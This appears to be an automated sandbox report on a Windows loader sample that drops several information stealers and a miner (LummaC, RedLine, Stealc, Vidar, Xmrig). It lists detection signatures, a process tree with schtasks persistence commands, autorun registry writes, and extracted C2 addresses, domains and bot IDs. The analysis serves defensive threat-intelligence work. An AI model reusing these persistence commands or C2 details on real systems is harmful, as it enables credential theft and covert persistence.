Edit tour

Windows Analysis Report
gobEmOm5sr.exe

Overview

General Information

Sample name:	gobEmOm5sr.exe renamed because original name is a hash value
Original sample name:	1F389EF6DAC9971FEF4BAD14B3514C26.exe
Analysis ID:	1505384
MD5:	1f389ef6dac9971fef4bad14b3514c26
SHA1:	47e2bfe623d17b4272958a1546dc459695d6d134
SHA256:	65e67f728f8f7694f68156ad4ed80825739968701ea1535291d489ef3dbebe06
Tags:	exePrivateLoader
Infos:

Detection

LummaC, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected RedLine Stealer

Yara detected Socks5Systemz

Yara detected Stealc

Yara detected Vidar

Yara detected Vidar stealer

Yara detected Xmrig cryptocurrency miner

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Drops PE files to the document folder of the user

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Hides threads from debuggers

Injects a PE file into a foreign processes

Installs new ROOT certificates

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to several IPs in different countries

Contains capabilities to detect virtual machines

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops certificate files (DER)

Enables debug privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

gobEmOm5sr.exe (PID: 7500 cmdline: "C:\Users\user\Desktop\gobEmOm5sr.exe" MD5: 1F389EF6DAC9971FEF4BAD14B3514C26)

RegAsm.exe (PID: 7528 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7536 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

REaoHTwA9AqN_cDvubi9mxZt.exe (PID: 8008 cmdline: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe MD5: B5887A19FE50BFA32B524AAAD0A453BC)

REaoHTwA9AqN_cDvubi9mxZt.exe (PID: 6288 cmdline: "C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe" MD5: B5887A19FE50BFA32B524AAAD0A453BC)

schtasks.exe (PID: 7648 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 1144 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 1712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PsIhedmEA44FNRssEU8V9OlH.exe (PID: 8016 cmdline: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe MD5: 6B974C3C8790EC1BD9CC7403CCA3D1BA)

PsIhedmEA44FNRssEU8V9OlH.tmp (PID: 7772 cmdline: "C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp" /SL5="$20496,3169907,54272,C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe" MD5: 4D0283F3182C82FB1C52C560BB1A0758)

newstar.exe (PID: 6816 cmdline: "C:\Users\user\AppData\Local\NewStar\newstar.exe" -i MD5: B786E157A1AA82F3B27FA1A61B13C39B)

yh8OwfLgsaGOEy8sLU5UpJIK.exe (PID: 8024 cmdline: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe MD5: 68EBCC4AD727C077AEB5CC60B868E304)

WerFault.exe (PID: 7856 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8024 -s 824 MD5: C31336C1EFC2CCB44B4326EA793040F2)

8LEi0YA5qqlYpHd7zimCU8lz.exe (PID: 8032 cmdline: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe MD5: C4D092354C3F964EE1D9671F2517A6C9)

WerFault.exe (PID: 2180 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8032 -s 852 MD5: C31336C1EFC2CCB44B4326EA793040F2)

JJdIaooFQpkpcWNUCJ71mJDj.exe (PID: 8040 cmdline: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe MD5: 0DE88C2F978A57026E58E6CA90AE5D69)

BitLockerToGo.exe (PID: 2368 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

7wpHB_IZvVwIDf0EgO_TfPH6.exe (PID: 8048 cmdline: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe MD5: 20C0E4911043ACDF83CD6F5818060B6D)

conhost.exe (PID: 8108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7528 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

QUh1lM2wAJwuyCkYckhrDFwz.exe (PID: 8056 cmdline: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe MD5: B81AC0BD6737ADC5D296E9D86491D9F4)

conhost.exe (PID: 8168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5432 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 2416 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 3052 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

wvASxpczH5zLyfxXnILhiH8_.exe (PID: 8064 cmdline: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe MD5: 025EBE0A476FE1A27749E6DA0EEA724F)

2Umx78uafM0WA03fzJyYYhBa.exe (PID: 8072 cmdline: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe MD5: E600B6015B0312B52214F459FCC6F3C2)

conhost.exe (PID: 8176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5744 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

1YtOZF0EeqgcR_ddwAXkTcuY.exe (PID: 8080 cmdline: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe MD5: F10161C3ACDE4B7DADCD1EEDDCF937F1)

conhost.exe (PID: 8160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7548 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7248 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 7736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

OvoRF_A3QBH3keQBtcOqN7Fa.exe (PID: 8088 cmdline: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe MD5: EF210F3D8E05ECAFD8D41A98B5806218)

BitLockerToGo.exe (PID: 7508 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

lenTsqDIajevXTuJaJ03oKGb.exe (PID: 8096 cmdline: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe MD5: B914F31B2599675CB8A7AC4C9262ECD8)

svchost.exe (PID: 7388 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 6016 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 8032 -ip 8032 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 3328 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 8024 -ip 8024 MD5: C31336C1EFC2CCB44B4326EA793040F2)

Conhost.exe (PID: 4088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7888 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

jewkkwnf.exe (PID: 7564 cmdline: C:\ProgramData\jewkkwnf\jewkkwnf.exe MD5: B5887A19FE50BFA32B524AAAD0A453BC)

svchost.exe (PID: 7492 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Threatname: LummaC

{"C2 url": ["stamppreewntnq.shop", "evoliutwoqm.shop", "locatedblsoqp.shop", "condedqpwqm.shop", "caffegclasiqwp.shop", "traineiwnqo.shop", "stagedchheiqwo.shop", "millyscroqwp.shop"], "Build id": "a8kafm--@cloudcosmic"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199768374681", "https://t.me/edm0d", "https://t.me/fneogr"], "Botnet": "4f1093aa7eebaf755203a00370e22375"}

Threatname: RedLine

{"C2 url": "147.45.47.36:30035", "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000027.00000002.3002403298.0000000002C91000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
00000011.00000002.2614020316.00000000014EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2614020316.00000000014EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2204897517.000000000196E000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
0000001F.00000002.2308704967.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.2120842089.00000000043E5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000010.00000002.2284303938.00000000027E4000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
0000000F.00000002.2138074138.0000000003CC5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000A.00000002.2204897517.0000000001A50000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000027.00000002.3002271535.0000000002BEF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
0000001C.00000002.2717483187.00000000027D8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.2717483187.00000000027D8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000002.2146809633.00000000032B5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000B.00000002.2146809633.00000000032B5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000010.00000002.2284303938.0000000002B20000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
0000001C.00000002.2589310760.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000019.00000002.2027068709.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000017.00000002.2753591127.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000017.00000002.2753591127.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000001C.00000002.2717483187.00000000028F3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: gobEmOm5sr.exe PID: 7500	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 7wpHB_IZvVwIDf0EgO_TfPH6.exe PID: 8048	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 7wpHB_IZvVwIDf0EgO_TfPH6.exe PID: 8048	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7wpHB_IZvVwIDf0EgO_TfPH6.exe PID: 8048	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: QUh1lM2wAJwuyCkYckhrDFwz.exe PID: 8056	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 2Umx78uafM0WA03fzJyYYhBa.exe PID: 8072	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
14.2.2Umx78uafM0WA03fzJyYYhBa.exe.43e5570.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
23.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
23.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
11.2.7wpHB_IZvVwIDf0EgO_TfPH6.exe.32b5570.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
11.2.7wpHB_IZvVwIDf0EgO_TfPH6.exe.32b5570.1.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
11.2.7wpHB_IZvVwIDf0EgO_TfPH6.exe.32b5570.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
11.2.7wpHB_IZvVwIDf0EgO_TfPH6.exe.32b5570.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
23.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
23.2.RegAsm.exe.400000.1.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
14.2.2Umx78uafM0WA03fzJyYYhBa.exe.43e5570.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
28.2.RegAsm.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
25.2.RegAsm.exe.400000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
25.2.RegAsm.exe.400000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.RegAsm.exe.400000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x458ad:$s1: file:/// 0x45809:$s2: {11111-22222-10009-11112} 0x4583d:$s3: {11111-22222-50001-00000} 0x4276b:$s4: get_Module 0x3cf55:$s5: Reverse 0x3dc05:$s6: BlockCopy 0x3ced4:$s7: ReadByte 0x458bf:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x43aad:$s1: file:/// 0x43a09:$s2: {11111-22222-10009-11112} 0x43a3d:$s3: {11111-22222-50001-00000} 0x4096b:$s4: get_Module 0x3b155:$s5: Reverse 0x3be05:$s6: BlockCopy 0x3b0d4:$s7: ReadByte 0x43abf:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x458ad:$s1: file:/// 0x45809:$s2: {11111-22222-10009-11112} 0x4583d:$s3: {11111-22222-50001-00000} 0x4276b:$s4: get_Module 0x3cf55:$s5: Reverse 0x3dc05:$s6: BlockCopy 0x3ced4:$s7: ReadByte 0x458bf:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
Click to see the 15 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe, ProcessId: 6288, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ExtreamFanV6

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe, ProcessId: 6288, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 7388, ProcessName: svchost.exe

Suricata Signatures

ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:18:16.599254+0200	2036289	2	Crypto Currency Mining Activity Detected	192.168.2.4	64650	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:45.199335+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49762	188.114.96.3	443	TCP
2024-09-06T08:17:46.093705+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49764	104.21.10.172	443	TCP
2024-09-06T08:17:47.993174+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49768	104.21.10.172	443	TCP
